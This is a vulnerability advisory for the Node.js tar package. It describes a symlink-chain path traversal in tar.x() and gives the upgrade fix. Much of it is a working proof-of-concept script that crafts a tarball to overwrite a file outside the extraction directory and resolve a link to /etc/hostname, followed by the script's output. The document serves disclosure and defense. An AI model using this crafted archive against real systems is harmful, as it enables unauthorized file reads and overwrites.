Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 8.0.0 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via an in-archive symlink chain in tar.x(), where a directory entry paired with an intermediate symlink pointing to .. causes the linkpath validation in src/unpack.ts to check a lexically normalized path that appears safe while the kernel resolves the raw linkpath outside the extraction directory. The STRIPABSOLUTEPATH check normalizes x/y/../secret.txt to x/secret.txt (in-bounds), and ENSURE_NO_SYMLINK resolves the path lexically, so neither check detects that x/y is itself a symlink to ... The link is then created with the raw linkpath, and the kernel follows x/y to the parent of the extraction directory before applying .., placing the final symlink outside the extraction root. An attacker supplying a tarball can thereby achieve arbitrary file read and write as the extracting user through symlinks left inside the extraction directory.
Save as poc.cjs next to a node_modules/tar install and run node poc.cjs ./node_modules/tar ./work. It builds the archive with tar's own Header, extracts it with default options (async and sync), and then does what an application normally does next: writes to a file by its name in the archive.
const fs = require('fs')
const path = require('path')
const tar = require(path.resolve(process.argv[2]))
const work = path.resolve(process.argv[3])
fs.rmSync(work, { recursive: true, force: true })
const cwd = path.join(work, 'extract')
fs.mkdirSync(cwd, { recursive: true })
const secret = path.join(work, 'secret.txt') // outside the extraction dir
fs.writeFileSync(secret, 'ORIGINAL\n')
const entries = [
{ path: 'x/', type: 'Directory' },
{ path: 'x/y', type: 'SymbolicLink', linkpath: '..' },
{ path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' },
{ path: 'deep', type: 'SymbolicLink',
linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' },
]
const blocks = []
for (const e of entries) {
const b = Buffer.alloc(512)
new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0)
blocks.push(b)
}
blocks.push(Buffer.alloc(1024))
const tarFile = path.join(work, 'poc.tar')
fs.writeFileSync(tarFile, Buffer.concat(blocks))
const run = async (sync) => {
fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'ORIGINAL\n')
const warns = []
const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) }
if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts)
console.log(`--- tar.x({cwd, file${sync ? ', sync:true' : ''}})`)
console.log('warnings:', warns.length ? warns : 'none')
console.log('readlink l ->', fs.readlinkSync(path.join(cwd, 'l')))
console.log('realpath l ->', fs.realpathSync.native(path.join(cwd, 'l')))
console.log('realpath deep ->', fs.realpathSync.native(path.join(cwd, 'deep')))
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
console.log('secret.txt now ->', JSON.stringify(fs.readFileSync(secret, 'utf8')))
}
run(false).then(() => run(true))
Output on tar 7.5.23, Node 22.23.4, Linux:
--- tar.x({cwd, file})
warnings: none
readlink l -> x/y/../secret.txt
realpath l -> <workdir>/secret.txt
realpath deep -> /etc/hostname
secret.txt now -> "PWNED\n"
--- tar.x({cwd, file, sync:true})
warnings: none
readlink l -> x/y/../secret.txt
realpath l -> <workdir>/secret.txt
realpath deep -> /etc/hostname
secret.txt now -> "PWNED\n"
Same result on 7.5.5, 7.5.11 and on main (eb92e17), and with open PR #470 applied. 7.5.4 rejects all three links (TAR_ENTRY_ERROR linkpath contains '..').
Note: The PoC states it runs on tar 7.5.23 with Node 22.23.4 on Linux.